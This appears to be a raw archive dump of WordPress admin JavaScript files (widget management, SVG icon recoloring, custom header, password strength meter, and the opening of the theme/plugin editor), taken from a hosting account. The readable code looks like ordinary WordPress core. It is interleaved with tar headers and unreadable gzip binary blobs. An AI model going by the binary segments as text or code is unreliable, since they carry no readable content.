e,t,i,s,d,a=this,o="widget_form",r=c(n),l=r.number,r=r.id_base,r=p.Widgets.availableWidgets.findWhere({id_base:r});return!(!r||l&&!r.get("is_multi"))&&(r.get("is_multi")&&!l&&(r.set("multi_number",r.get("multi_number")+1),l=r.get("multi_number")),e=h("#widget-tpl-"+r.get("id")).html().trim(),r.get("is_multi")?e=e.replace(/<[^<>]+>/g,function(e){return e.replace(/__i__|%i%/g,l)}):r.set("is_disabled",!0),e=h(e),(e=h("<li/>").addClass("customize-control").addClass("customize-control-"+o).append(e)).find("> .widget-icon").remove(),r.get("is_multi")&&(e.find('input[name="widget_number"]').val(l),e.find('input[name="multi_number"]').val(l)),n=e.find('[name="widget-id"]').val(),e.hide(),t="widget_"+r.get("id_base"),r.get("is_multi")&&(t+="["+l+"]"),e.attr("id","customize-control-"+t.replace(/\]/g,"").replace(/\[/g,"-")),(i=p.has(t))||(d={transport:p.Widgets.data.selectiveRefreshableWidgets[r.get("id_base")]?"postMessage":"refresh",previewer:this.setting.previewer},p.create(t,t,"",d).set({})),d=p.controlConstructor[o],s=new d(t,{settings:{default:t},content:e,sidebar_id:a.params.sidebar_id,widget_id:n,widget_id_base:r.get("id_base"),type:o,is_new:!i,width:r.get("width"),height:r.get("height"),is_wide:r.get("is_wide")}),p.control.add(s),p.each(function(e){var t,i;e.id!==a.setting.id&&0===e.id.indexOf("sidebars_widgets[")&&(t=e().slice(),-1!==(i=_.indexOf(t,n)))&&(t.splice(i),e(t))}),d=this.setting().slice(),-1===_.indexOf(d,n)&&(d.push(n),this.setting(d)),e.slideDown(function(){i&&s.updateWidget({instance:s.setting()})}),s)}}),h.extend(p.panelConstructor,{widgets:p.Widgets.WidgetsPanel}),h.extend(p.sectionConstructor,{sidebar:p.Widgets.SidebarSection}),h.extend(p.controlConstructor,{widget_form:p.Widgets.WidgetControl,sidebar_widgets:p.Widgets.SidebarControl}),p.bind("ready",function(){p.Widgets.availableWidgetsPanel=new p.Widgets.AvailableWidgetsPanelView({collection:p.Widgets.availableWidgets}),p.previewer.bind("highlight-widget-control",p.Widgets.highlightWidgetFormControl),p.previewer.bind("focus-widget-control",p.Widgets.focusWidgetFormControl)}),p.Widgets.highlightWidgetFormControl=function(e){e=p.Widgets.getWidgetFormControlForWidget(e);e&&e.highlightSectionAndControl()},p.Widgets.focusWidgetFormControl=function(e){e=p.Widgets.getWidgetFormControlForWidget(e);e&&e.focus()},p.Widgets.getSidebarWidgetControlContainingWidget=function(t){var i=null;return p.control.each(function(e){"sidebar_widgets"===e.params.type&&-1!==_.indexOf(e.setting(),t)&&(i=e)}),i},p.Widgets.getWidgetFormControlForWidget=function(t){var i=null;return p.control.each(function(e){"widget_form"===e.params.type&&e.params.widget_id===t&&(i=e)}),i},h(document).on("widget-added",function(e,t){var s,d,i,n=c(t.find("> .widget-inside > .form > .widget-id").val());"nav_menu"===n.id_base&&(s=p.control("widget_nav_menu["+String(n.number)+"]"))&&(d=t.find('select[name*="nav_menu"]'),i=t.find(".edit-selected-nav-menu > button"),0!==d.length)&&0!==i.length&&(d.on("change",function(){p.section.has("nav_menu["+d.val()+"]")?i.parent().show():i.parent().hide()}),i.on("click",function(){var i,n,e=p.section("nav_menu["+d.val()+"]");e&&(n=s,(i=e).focus(),i.expanded.bind(function e(t){t||(i.expanded.unbind(e),n.focus())}))}))}))}(window.wp,jQuery);load-scripts.php.php.tar.gz000064400000001651150276633100011661 0ustar00��Umo�D��WQtN���y�r�^��V�/J�bm�I����u_@�wfױ����� �Rw�g&�X��1�u��IT�)UH�;�X�׹���T��S��V�<ɿ�	H���|'�H�}�v�^w�G�ݝA��	�w���%��'b��w4L��_9�
��b)J)$H̅�<[vHgԧ�A'\�%$�!-�2��X.�f��	0�����'��}k�7�������Kr���-p�8�bl��΋R��hC�e�V��{�0$`\�5�p��⇓��	�]�6Ϣ��QY��̥�")���Ng�Oggn�7<�Ϗ'�ߺ�*=��LJvۂڲ
�w>?񻝮�d�{w_����S�6hY`U�f����54���>N�g���N��:�Z{�T��mD��>�*OElB��� �ĥ�[�"���~f�o��u;��_��T�iY��$�"�d�7U���6�&��\?�8A�lA�� ����!9U�a��m’^�ĚK;��lU�3!rs�����-%,[��|P>�RƖH�I�T�b�PD�1�o��t�F@���-2�q��а!4hk}���KO^S��|hQɤ&�"��Z�as���-)�+�b!�}�mE1���������h��'��9
��KP�lU�T��	��؆\��Q"�	
�"���&�A%P1�)h&,�S,=�����%ކd�l�%��Y�����H��7_D"�+V E�x��L'4�;j<��N��{�ddѐ�3�%�p�S4W�x3g��Sְ�=�j�n�Ȗ^��	兙��9��y�#fn���beB#�&i�������{�%q��R��*f�,��U8�aȇ�6Xs��[�2�[�x8��1�q�g��"B^\PbmX��7~����`�0�9�d����gy�gy����	�w��widgets.min.js000064400000030501150276633100007334 0ustar00/*! This file is auto-generated */
!function(w){var l=w(document);window.wpWidgets={hoveredSidebar:null,dirtyWidgets:{},init:function(){var r,o,g=this,d=w(".widgets-chooser"),s=d.find(".widgets-chooser-sidebars"),e=w("div.widgets-sortables"),c=!("undefined"==typeof isRtl||!isRtl);w("#widgets-right .sidebar-name").on("click",function(){var e=w(this),i=e.closest(".widgets-holder-wrap "),t=e.find(".handlediv");i.hasClass("closed")?(i.removeClass("closed"),t.attr("aria-expanded","true"),e.parent().sortable("refresh")):(i.addClass("closed"),t.attr("aria-expanded","false")),l.triggerHandler("wp-pin-menu")}).find(".handlediv").each(function(e){0!==e&&w(this).attr("aria-expanded","false")}),w(window).on("beforeunload.widgets",function(e){var i,t=[];if(w.each(g.dirtyWidgets,function(e,i){i&&t.push(e)}),0!==t.length)return(i=w("#widgets-right").find(".widget").filter(function(){return-1!==t.indexOf(w(this).prop("id").replace(/^widget-\d+_/,""))})).each(function(){w(this).hasClass("open")||w(this).find(".widget-title-action:first").trigger("click")}),i.first().each(function(){this.scrollIntoViewIfNeeded?this.scrollIntoViewIfNeeded():this.scrollIntoView(),w(this).find(".widget-inside :tabbable:first").trigger("focus")}),e.returnValue=wp.i18n.__("The changes you made will be lost if you navigate away from this page."),e.returnValue}),w("#widgets-left .sidebar-name").on("click",function(){var e=w(this).closest(".widgets-holder-wrap");e.toggleClass("closed").find(".handlediv").attr("aria-expanded",!e.hasClass("closed")),l.triggerHandler("wp-pin-menu")}),w(document.body).on("click.widgets-toggle",function(e){var i,t,d,a,s,n,r=w(e.target),o={},l=r.closest(".widget").find(".widget-top button.widget-action");r.parents(".widget-top").length&&!r.parents("#available-widgets").length?(t=(i=r.closest("div.widget")).children(".widget-inside"),d=parseInt(i.find("input.widget-width").val(),10),a=i.parent().width(),n=t.find(".widget-id").val(),i.data("dirty-state-initialized")||((s=t.find(".widget-control-save")).prop("disabled",!0).val(wp.i18n.__("Saved")),t.on("input change",function(){g.dirtyWidgets[n]=!0,i.addClass("widget-dirty"),s.prop("disabled",!1).val(wp.i18n.__("Save"))}),i.data("dirty-state-initialized",!0)),t.is(":hidden")?(250<d&&a<d+30&&i.closest("div.widgets-sortables").length&&(o[i.closest("div.widget-liquid-right").length?c?"margin-right":"margin-left":c?"margin-left":"margin-right"]=a-(d+30)+"px",i.css(o)),l.attr("aria-expanded","true"),t.slideDown("fast",function(){i.addClass("open")})):(l.attr("aria-expanded","false"),t.slideUp("fast",function(){i.attr("style",""),i.removeClass("open")}))):r.hasClass("widget-control-save")?(wpWidgets.save(r.closest("div.widget"),0,1,0),e.preventDefault()):r.hasClass("widget-control-remove")?wpWidgets.save(r.closest("div.widget"),1,1,0):r.hasClass("widget-control-close")?((i=r.closest("div.widget")).removeClass("open"),l.attr("aria-expanded","false"),wpWidgets.close(i)):"inactive-widgets-control-remove"===r.attr("id")&&(wpWidgets.removeInactiveWidgets(),e.preventDefault())}),e.children(".widget").each(function(){var e=w(this);wpWidgets.appendTitle(this),e.find("p.widget-error").length&&e.find(".widget-action").trigger("click").attr("aria-expanded","true")}),w("#widget-list").children(".widget").draggable({connectToSortable:"div.widgets-sortables",handle:"> .widget-top > .widget-title",distance:2,helper:"clone",zIndex:101,containment:"#wpwrap",refreshPositions:!0,start:function(e,i){var t=w(this).find(".widgets-chooser");i.helper.find("div.widget-description").hide(),o=this.id,t.length&&(w("#wpbody-content").append(t.hide()),i.helper.find(".widgets-chooser").remove(),g.clearWidgetSelection())},stop:function(){r&&w(r).hide(),r=""}}),e.droppable({tolerance:"intersect",over:function(e){var i=w(e.target).parent();wpWidgets.hoveredSidebar&&!i.is(wpWidgets.hoveredSidebar)&&wpWidgets.closeSidebar(e),i.hasClass("closed")&&(wpWidgets.hoveredSidebar=i).removeClass("closed").find(".handlediv").attr("aria-expanded","true"),w(this).sortable("refresh")},out:function(e){wpWidgets.hoveredSidebar&&wpWidgets.closeSidebar(e)}}),e.sortable({placeholder:"widget-placeholder",items:"> .widget",handle:"> .widget-top > .widget-title",cursor:"move",distance:2,containment:"#wpwrap",tolerance:"pointer",refreshPositions:!0,start:function(e,i){var t=w(this),d=t.parent(),a=i.item.children(".widget-inside");"block"===a.css("display")&&(i.item.removeClass("open"),i.item.find(".widget-top button.widget-action").attr("aria-expanded","false"),a.hide(),w(this).sortable("refreshPositions")),d.hasClass("closed")||(a=i.item.hasClass("ui-draggable")?t.height():1+t.height(),t.css("min-height",a+"px"))},stop:function(e,i){var t,d,a,s,i=i.item,n=o;wpWidgets.hoveredSidebar=null,i.hasClass("deleting")?(wpWidgets.save(i,1,0,1),i.remove()):(t=i.find("input.add_new").val(),d=i.find("input.multi_number").val(),i.attr("style","").removeClass("ui-draggable"),o="",t&&("multi"===t?(i.html(i.html().replace(/<[^<>]+>/g,function(e){return e.replace(/__i__|%i%/g,d)})),i.attr("id",n.replace("__i__",d)),d++,w("div#"+n).find("input.multi_number").val(d)):"single"===t&&(i.attr("id","new-"+n),r="div#"+n),wpWidgets.save(i,0,0,1),i.find("input.add_new").val(""),l.trigger("widget-added",[i])),(n=i.parent()).parent().hasClass("closed")&&(n.parent().removeClass("closed").find(".handlediv").attr("aria-expanded","true"),1<(a=n.children(".widget")).length)&&(a=a.get(0),s=i.get(0),a.id)&&s.id&&a.id!==s.id&&w(a).before(i),t?i.find(".widget-action").trigger("click"):wpWidgets.saveOrder(n.attr("id")))},activate:function(){w(this).parent().addClass("widget-hover")},deactivate:function(){w(this).css("min-height","").parent().removeClass("widget-hover")},receive:function(e,i){i=w(i.sender);-1<this.id.indexOf("orphaned_widgets")?i.sortable("cancel"):-1<i.attr("id").indexOf("orphaned_widgets")&&!i.children(".widget").length&&i.parents(".orphan-sidebar").slideUp(400,function(){w(this).remove()})}}).sortable("option","connectWith","div.widgets-sortables"),w("#available-widgets").droppable({tolerance:"pointer",accept:function(e){return"widget-list"!==w(e).parent().attr("id")},drop:function(e,i){i.draggable.addClass("deleting"),w("#removing-widget").hide().children("span").empty()},over:function(e,i){i.draggable.addClass("deleting"),w("div.widget-placeholder").hide(),i.draggable.hasClass("ui-sortable-helper")&&w("#removing-widget").show().children("span").html(i.draggable.find("div.widget-title").children("h3").html())},out:function(e,i){i.draggable.removeClass("deleting"),w("div.widget-placeholder").show(),w("#removing-widget").hide().children("span").empty()}}),w("#widgets-right .widgets-holder-wrap").each(function(e,i){var i=w(i),t=i.find(".sidebar-name h2").text()||"",d=i.find(".sidebar-name").data("add-to"),i=i.find(".widgets-sortables").attr("id"),a=w("<li>"),d=w("<button>",{type:"button","aria-pressed":"false",class:"widgets-chooser-button","aria-label":d}).text(t.toString().trim());a.append(d),0===e&&(a.addClass("widgets-chooser-selected"),d.attr("aria-pressed","true")),s.append(a),a.data("sidebarId",i)}),w("#available-widgets .widget .widget-top").on("click.widgets-chooser",function(){var e=w(this).closest(".widget"),i=w(this).find(".widget-action"),t=s.find(".widgets-chooser-button");e.hasClass("widget-in-question")||w("#widgets-left").hasClass("chooser")?(i.attr("aria-expanded","false"),g.closeChooser()):(g.clearWidgetSelection(),w("#widgets-left").addClass("chooser"),e.addClass("widget-in-question").children(".widget-description").after(d),d.slideDown(300,function(){i.attr("aria-expanded","true")}),t.on("click.widgets-chooser",function(){s.find(".widgets-chooser-selected").removeClass("widgets-chooser-selected"),t.attr("aria-pressed","false"),w(this).attr("aria-pressed","true").closest("li").addClass("widgets-chooser-selected")}))}),d.on("click.widgets-chooser",function(e){e=w(e.target);e.hasClass("button-primary")?(g.addWidget(d),g.closeChooser()):e.hasClass("widgets-chooser-cancel")&&g.closeChooser()}).on("keyup.widgets-chooser",function(e){e.which===w.ui.keyCode.ESCAPE&&g.closeChooser()})},saveOrder:function(e){var i={action:"widgets-order",savewidgets:w("#_wpnonce_widgets").val(),sidebars:[]};e&&w("#"+e).find(".spinner:first").addClass("is-active"),w("div.widgets-sortables").each(function(){w(this).sortable&&(i["sidebars["+w(this).attr("id")+"]"]=w(this).sortable("toArray").join(","))}),w.post(ajaxurl,i,function(){w("#inactive-widgets-control-remove").prop("disabled",!w("#wp_inactive_widgets .widget").length),w(".spinner").removeClass("is-active")})},save:function(t,d,a,s){var n=this,r=t.closest("div.widgets-sortables").attr("id"),e=t.find("form"),i=t.find("input.add_new").val();(d||i||!e.prop("checkValidity")||e[0].checkValidity())&&(i=e.serialize(),t=w(t),w(".spinner",t).addClass("is-active"),e={action:"save-widget",savewidgets:w("#_wpnonce_widgets").val(),sidebar:r},d&&(e.delete_widget=1),i+="&"+w.param(e),w.post(ajaxurl,i,function(e){var i=w("input.widget-id",t).val();d?(w("input.widget_number",t).val()||w("#available-widgets").find("input.widget-id").each(function(){w(this).val()===i&&w(this).closest("div.widget").show()}),a?(s=0,t.slideUp("fast",function(){w(this).remove(),wpWidgets.saveOrder(),delete n.dirtyWidgets[i]})):(t.remove(),delete n.dirtyWidgets[i],"wp_inactive_widgets"===r&&w("#inactive-widgets-control-remove").prop("disabled",!w("#wp_inactive_widgets .widget").length))):(w(".spinner").removeClass("is-active"),e&&2<e.length&&(w("div.widget-content",t).html(e),wpWidgets.appendTitle(t),t.find(".widget-control-save").prop("disabled",!0).val(wp.i18n.__("Saved")),t.removeClass("widget-dirty"),delete n.dirtyWidgets[i],l.trigger("widget-updated",[t]),"wp_inactive_widgets"===r)&&w("#inactive-widgets-control-remove").prop("disabled",!w("#wp_inactive_widgets .widget").length)),s&&wpWidgets.saveOrder()}))},removeInactiveWidgets:function(){var e,i=w(".remove-inactive-widgets"),t=this;w(".spinner",i).addClass("is-active"),e={action:"delete-inactive-widgets",removeinactivewidgets:w("#_wpnonce_remove_inactive_widgets").val()},e=w.param(e),w.post(ajaxurl,e,function(){w("#wp_inactive_widgets .widget").each(function(){var e=w(this);delete t.dirtyWidgets[e.find("input.widget-id").val()],e.remove()}),w("#inactive-widgets-control-remove").prop("disabled",!0),w(".spinner",i).removeClass("is-active")})},appendTitle:function(e){var i=(i=w('input[id*="-title"]',e).val()||"")&&": "+i.replace(/<[^<>]+>/g,"").replace(/</g,"&lt;").replace(/>/g,"&gt;");w(e).children(".widget-top").children(".widget-title").children().children(".in-widget-title").html(i)},close:function(e){e.children(".widget-inside").slideUp("fast",function(){e.attr("style","").find(".widget-top button.widget-action").attr("aria-expanded","false").focus()})},addWidget:function(e){var i,e=e.find(".widgets-chooser-selected").data("sidebarId"),e=w("#"+e),t=w("#available-widgets").find(".widget-in-question").clone(),d=t.attr("id"),a=t.find("input.add_new").val(),s=t.find("input.multi_number").val();t.find(".widgets-chooser").remove(),"multi"===a?(t.html(t.html().replace(/<[^<>]+>/g,function(e){return e.replace(/__i__|%i%/g,s)})),t.attr("id",d.replace("__i__",s)),s++,w("#"+d).find("input.multi_number").val(s)):"single"===a&&(t.attr("id","new-"+d),w("#"+d).hide()),e.closest(".widgets-holder-wrap").removeClass("closed").find(".handlediv").attr("aria-expanded","true"),e.append(t),e.sortable("refresh"),wpWidgets.save(t,0,0,1),t.find("input.add_new").val(""),l.trigger("widget-added",[t]),d=(a=w(window).scrollTop())+w(window).height(),(i=e.offset()).bottom=i.top+e.outerHeight(),(a>i.bottom||d<i.top)&&w("html, body").animate({scrollTop:i.top-130},200),window.setTimeout(function(){t.find(".widget-title").trigger("click"),window.wp.a11y.speak(wp.i18n.__("Widget has been added to the selected sidebar"),"assertive")},250)},closeChooser:function(){var e=this,i=w("#available-widgets .widget-in-question");w(".widgets-chooser").slideUp(200,function(){w("#wpbody-content").append(this),e.clearWidgetSelection(),i.find(".widget-action").attr("aria-expanded","false").focus()})},clearWidgetSelection:function(){w("#widgets-left").removeClass("chooser"),w(".widget-in-question").removeClass("widget-in-question")},closeSidebar:function(e){this.hoveredSidebar.addClass("closed").find(".handlediv").attr("aria-expanded","false"),w(e.target).css("min-height",""),this.hoveredSidebar=null}},w(function(){wpWidgets.init()})}(jQuery),wpWidgets.l10n=wpWidgets.l10n||{save:"",saved:"",saveAlert:"",widgetAdded:""},wpWidgets.l10n=window.wp.deprecateL10nObject("wpWidgets.l10n",wpWidgets.l10n,"5.5.0");password-strength-meter.min.js.min.js.tar.gz000064400000001337150276633100015104 0ustar00��T�o�0����n�(Щ4�6�eR���C�M��ؑ�:��%ڮݦIӶ>��l�}w>>��L ��K�AG��s����f���&RG�.�qcfl�pނ���<X����1��n?��h5�;�N��v��f��[�n�0���P�-����CD{��Åt�H*p�7�1h��C�EOfRgf�gy������
�zi4t>6�d�s�|��p��f�r+��p�V����y���
0�<�[��k�5������I_so�@�1�ʠ��z�窢=�M�̂8I�%��N�I�ytc��(w���d��Z��Dz���m�Y�F;��+3&�B���3W�-��BZ��I�B0�!�m=s���A�{P�j�Ad<x�@�bI(3���J��
&Xz��prZ�g�C��G��VNh����8�E�+�Rf��M���4����U�(�Uf�K�&ˏI�a<�6J����u~��p�ĭ�ez�23�r%��;0R�X��K��ˬ�������ҵz†7���X�x^�����������w��lV�b��=8�=�ߧq-I�M	����JWn������`$
�?
Uܦ�|*��V���O�Y�L&�����+��!}��Y���\IOJW����c�%�ݽ`kE�H���V��۴^\�LRt�K�\������S]�%�|[������m��[l���>]�svg-painter.js000064400000012622150276633100007347 0ustar00/**
 * Attempt to re-color SVG icons used in the admin menu or the toolbar
 *
 * @output wp-admin/js/svg-painter.js
 */

window.wp = window.wp || {};

wp.svgPainter = ( function( $, window, document, undefined ) {
	'use strict';
	var selector, base64, painter,
		colorscheme = {},
		elements = [];

	$( function() {
		// Detection for browser SVG capability.
		if ( document.implementation.hasFeature( 'http://www.w3.org/TR/SVG11/feature#Image', '1.1' ) ) {
			$( document.body ).removeClass( 'no-svg' ).addClass( 'svg' );
			wp.svgPainter.init();
		}
	});

	/**
	 * Needed only for IE9
	 *
	 * Based on jquery.base64.js 0.0.3 - https://github.com/yckart/jquery.base64.js
	 *
	 * Based on: https://gist.github.com/Yaffle/1284012
	 *
	 * Copyright (c) 2012 Yannick Albert (http://yckart.com)
	 * Licensed under the MIT license
	 * http://www.opensource.org/licenses/mit-license.php
	 */
	base64 = ( function() {
		var c,
			b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',
			a256 = '',
			r64 = [256],
			r256 = [256],
			i = 0;

		function init() {
			while( i < 256 ) {
				c = String.fromCharCode(i);
				a256 += c;
				r256[i] = i;
				r64[i] = b64.indexOf(c);
				++i;
			}
		}

		function code( s, discard, alpha, beta, w1, w2 ) {
			var tmp, length,
				buffer = 0,
				i = 0,
				result = '',
				bitsInBuffer = 0;

			s = String(s);
			length = s.length;

			while( i < length ) {
				c = s.charCodeAt(i);
				c = c < 256 ? alpha[c] : -1;

				buffer = ( buffer << w1 ) + c;
				bitsInBuffer += w1;

				while( bitsInBuffer >= w2 ) {
					bitsInBuffer -= w2;
					tmp = buffer >> bitsInBuffer;
					result += beta.charAt(tmp);
					buffer ^= tmp << bitsInBuffer;
				}
				++i;
			}

			if ( ! discard && bitsInBuffer > 0 ) {
				result += beta.charAt( buffer << ( w2 - bitsInBuffer ) );
			}

			return result;
		}

		function btoa( plain ) {
			if ( ! c ) {
				init();
			}

			plain = code( plain, false, r256, b64, 8, 6 );
			return plain + '===='.slice( ( plain.length % 4 ) || 4 );
		}

		function atob( coded ) {
			var i;

			if ( ! c ) {
				init();
			}

			coded = coded.replace( /[^A-Za-z0-9\+\/\=]/g, '' );
			coded = String(coded).split('=');
			i = coded.length;

			do {
				--i;
				coded[i] = code( coded[i], true, r64, a256, 6, 8 );
			} while ( i > 0 );

			coded = coded.join('');
			return coded;
		}

		return {
			atob: atob,
			btoa: btoa
		};
	})();

	return {
		init: function() {
			painter = this;
			selector = $( '#adminmenu .wp-menu-image, #wpadminbar .ab-item' );

			this.setColors();
			this.findElements();
			this.paint();
		},

		setColors: function( colors ) {
			if ( typeof colors === 'undefined' && typeof window._wpColorScheme !== 'undefined' ) {
				colors = window._wpColorScheme;
			}

			if ( colors && colors.icons && colors.icons.base && colors.icons.current && colors.icons.focus ) {
				colorscheme = colors.icons;
			}
		},

		findElements: function() {
			selector.each( function() {
				var $this = $(this), bgImage = $this.css( 'background-image' );

				if ( bgImage && bgImage.indexOf( 'data:image/svg+xml;base64' ) != -1 ) {
					elements.push( $this );
				}
			});
		},

		paint: function() {
			// Loop through all elements.
			$.each( elements, function( index, $element ) {
				var $menuitem = $element.parent().parent();

				if ( $menuitem.hasClass( 'current' ) || $menuitem.hasClass( 'wp-has-current-submenu' ) ) {
					// Paint icon in 'current' color.
					painter.paintElement( $element, 'current' );
				} else {
					// Paint icon in base color.
					painter.paintElement( $element, 'base' );

					// Set hover callbacks.
					$menuitem.on( 'mouseenter', function() {
						painter.paintElement( $element, 'focus' );
					} ).on( 'mouseleave', function() {
						// Match the delay from hoverIntent.
						window.setTimeout( function() {
							painter.paintElement( $element, 'base' );
						}, 100 );
					} );
				}
			});
		},

		paintElement: function( $element, colorType ) {
			var xml, encoded, color;

			if ( ! colorType || ! colorscheme.hasOwnProperty( colorType ) ) {
				return;
			}

			color = colorscheme[ colorType ];

			// Only accept hex colors: #101 or #101010.
			if ( ! color.match( /^(#[0-9a-f]{3}|#[0-9a-f]{6})$/i ) ) {
				return;
			}

			xml = $element.data( 'wp-ui-svg-' + color );

			if ( xml === 'none' ) {
				return;
			}

			if ( ! xml ) {
				encoded = $element.css( 'background-image' ).match( /.+data:image\/svg\+xml;base64,([A-Za-z0-9\+\/\=]+)/ );

				if ( ! encoded || ! encoded[1] ) {
					$element.data( 'wp-ui-svg-' + color, 'none' );
					return;
				}

				try {
					if ( 'atob' in window ) {
						xml = window.atob( encoded[1] );
					} else {
						xml = base64.atob( encoded[1] );
					}
				} catch ( error ) {}

				if ( xml ) {
					// Replace `fill` attributes.
					xml = xml.replace( /fill="(.+?)"/g, 'fill="' + color + '"');

					// Replace `style` attributes.
					xml = xml.replace( /style="(.+?)"/g, 'style="fill:' + color + '"');

					// Replace `fill` properties in `<style>` tags.
					xml = xml.replace( /fill:.*?;/g, 'fill: ' + color + ';');

					if ( 'btoa' in window ) {
						xml = window.btoa( xml );
					} else {
						xml = base64.btoa( xml );
					}

					$element.data( 'wp-ui-svg-' + color, xml );
				} else {
					$element.data( 'wp-ui-svg-' + color, 'none' );
					return;
				}
			}

			$element.attr( 'style', 'background-image: url("data:image/svg+xml;base64,' + xml + '") !important;' );
		}
	};

})( jQuery, window, document );
custom-header.js000064400000003747150276633100007660 0ustar00/**
 * @output wp-admin/js/custom-header.js
 */

/* global isRtl */

/**
 * Initializes the custom header selection page.
 *
 * @since 3.5.0
 *
 * @deprecated 4.1.0 The page this is used on is never linked to from the UI.
 *             Setting a custom header is completely handled by the Customizer.
 */
(function($) {
	var frame;

	$( function() {
		// Fetch available headers.
		var $headers = $('.available-headers');

		// Apply jQuery.masonry once the images have loaded.
		$headers.imagesLoaded( function() {
			$headers.masonry({
				itemSelector: '.default-header',
				isRTL: !! ( 'undefined' != typeof isRtl && isRtl )
			});
		});

		/**
		 * Opens the 'choose from library' frame and creates it if it doesn't exist.
		 *
		 * @since 3.5.0
		 * @deprecated 4.1.0
		 *
		 * @return {void}
		 */
		$('#choose-from-library-link').on( 'click', function( event ) {
			var $el = $(this);
			event.preventDefault();

			// If the media frame already exists, reopen it.
			if ( frame ) {
				frame.open();
				return;
			}

			// Create the media frame.
			frame = wp.media.frames.customHeader = wp.media({
				// Set the title of the modal.
				title: $el.data('choose'),

				// Tell the modal to show only images.
				library: {
					type: 'image'
				},

				// Customize the submit button.
				button: {
					// Set the text of the button.
					text: $el.data('update'),
					// Tell the button not to close the modal, since we're
					// going to refresh the page when the image is selected.
					close: false
				}
			});

			/**
			 * Updates the window location to include the selected attachment.
			 *
			 * @since 3.5.0
			 * @deprecated 4.1.0
			 *
			 * @return {void}
			 */
			frame.on( 'select', function() {
				// Grab the selected attachment.
				var attachment = frame.state().get('selection').first(),
					link = $el.data('updateLink');

				// Tell the browser to navigate to the crop step.
				window.location = link + '&file=' + attachment.id;
			});

			frame.open();
		});
	});
}(jQuery));
password-strength-meter.min.js.tar000064400000006000150276633100013260 0ustar00home/natitnen/crestassured.com/wp-admin/js/password-strength-meter.min.js000064400000002143150265071470022667 0ustar00/*! This file is auto-generated */
window.wp=window.wp||{},function(a){var e=wp.i18n.__,n=wp.i18n.sprintf;wp.passwordStrength={meter:function(e,n,t){return Array.isArray(n)||(n=[n.toString()]),e!=t&&t&&0<t.length?5:void 0===window.zxcvbn?-1:zxcvbn(e,n).score},userInputBlacklist:function(){return window.console.log(n(e("%1$s is deprecated since version %2$s! Use %3$s instead. Please consider writing more inclusive code."),"wp.passwordStrength.userInputBlacklist()","5.5.0","wp.passwordStrength.userInputDisallowedList()")),wp.passwordStrength.userInputDisallowedList()},userInputDisallowedList:function(){var e,n,t,r,s=[],i=[],o=["user_login","first_name","last_name","nickname","display_name","email","url","description","weblog_title","admin_email"];for(s.push(document.title),s.push(document.URL),n=o.length,e=0;e<n;e++)0!==(r=a("#"+o[e])).length&&(s.push(r[0].defaultValue),s.push(r.val()));for(t=s.length,e=0;e<t;e++)s[e]&&(i=i.concat(s[e].replace(/\W/g," ").split(" ")));return i=a.grep(i,function(e,n){return!(""===e||e.length<4)&&a.inArray(e,i)===n})}},window.passwordStrength=wp.passwordStrength.meter}(jQuery);theme-plugin-editor.js000064400000061452150276633100010777 0ustar00/**
 * @output wp-admin/js/theme-plugin-editor.js
 */

/* eslint no-magic-numbers: ["error", { "ignore": [-1, 0, 1] }] */

if ( ! window.wp ) {
	window.wp = {};
}

wp.themePluginEditor = (function( $ ) {
	'use strict';
	var component, TreeLinks,
		__ = wp.i18n.__, _n = wp.i18n._n, sprintf = wp.i18n.sprintf;

	component = {
		codeEditor: {},
		instance: null,
		noticeElements: {},
		dirty: false,
		lintErrors: []
	};

	/**
	 * Initialize component.
	 *
	 * @since 4.9.0
	 *
	 * @param {jQuery}         form - Form element.
	 * @param {Object}         settings - Settings.
	 * @param {Object|boolean} settings.codeEditor - Code editor settings (or `false` if syntax highlighting is disabled).
	 * @return {void}
	 */
	component.init = function init( form, settings ) {

		component.form = form;
		if ( settings ) {
			$.extend( component, settings );
		}

		component.noticeTemplate = wp.template( 'wp-file-editor-notice' );
		component.noticesContainer = component.form.find( '.editor-notices' );
		component.submitButton = component.form.find( ':input[name=submit]' );
		component.spinner = component.form.find( '.submit .spinner' );
		component.form.on( 'submit', component.submit );
		component.textarea = component.form.find( '#newcontent' );
		component.textarea.on( 'change', component.onChange );
		component.warning = $( '.file-editor-warning' );
		component.docsLookUpButton = component.form.find( '#docs-lookup' );
		component.docsLookUpList = component.form.find( '#docs-list' );

		if ( component.warning.length > 0 ) {
			component.showWarning();
		}

		if ( false !== component.codeEditor ) {
			/*
			 * Defer adding notices until after DOM ready as workaround for WP Admin injecting
			 * its own managed dismiss buttons and also to prevent the editor from showing a notice
			 * when the file had linting errors to begin with.
			 */
			_.defer( function() {
				component.initCodeEditor();
			} );
		}

		$( component.initFileBrowser );

		$( window ).on( 'beforeunload', function() {
			if ( component.dirty ) {
				return __( 'The changes you made will be lost if you navigate away from this page.' );
			}
			return undefined;
		} );

		component.docsLookUpList.on( 'change', function() {
			var option = $( this ).val();
			if ( '' === option ) {
				component.docsLookUpButton.prop( 'disabled', true );
			} else {
				component.docsLookUpButton.prop( 'disabled', false );
			}
		} );
	};

	/**
	 * Set up and display the warning modal.
	 *
	 * @since 4.9.0
	 * @return {void}
	 */
	component.showWarning = function() {
		// Get the text within the modal.
		var rawMessage = component.warning.find( '.file-editor-warning-message' ).text();
		// Hide all the #wpwrap content from assistive technologies.
		$( '#wpwrap' ).attr( 'aria-hidden', 'true' );
		// Detach the warning modal from its position and append it to the body.
		$( document.body )
			.addClass( 'modal-open' )
			.append( component.warning.detach() );
		// Reveal the modal and set focus on the go back button.
		component.warning
			.removeClass( 'hidden' )
			.find( '.file-editor-warning-go-back' ).trigger( 'focus' );
		// Get the links and buttons within the modal.
		component.warningTabbables = component.warning.find( 'a, button' );
		// Attach event handlers.
		component.warningTabbables.on( 'keydown', component.constrainTabbing );
		component.warning.on( 'click', '.file-editor-warning-dismiss', component.dismissWarning );
		// Make screen readers announce the warning message after a short delay (necessary for some screen readers).
		setTimeout( function() {
			wp.a11y.speak( wp.sanitize.stripTags( rawMessage.replace( /\s+/g, ' ' ) ), 'assertive' );
		}, 1000 );
	};

	/**
	 * Constrain tabbing within the warning modal.
	 *
	 * @since 4.9.0
	 * @param {Object} event jQuery event object.
	 * @return {void}
	 */
	component.constrainTabbing = function( event ) {
		var firstTabbable, lastTabbable;

		if ( 9 !== event.which ) {
			return;
		}

		firstTabbable = component.warningTabbables.first()[0];
		lastTabbable = component.warningTabbables.last()[0];

		if ( lastTabbable === event.target && ! event.shiftKey ) {
			firstTabbable.focus();
			event.preventDefault();
		} else if ( firstTabbable === event.target && event.shiftKey ) {
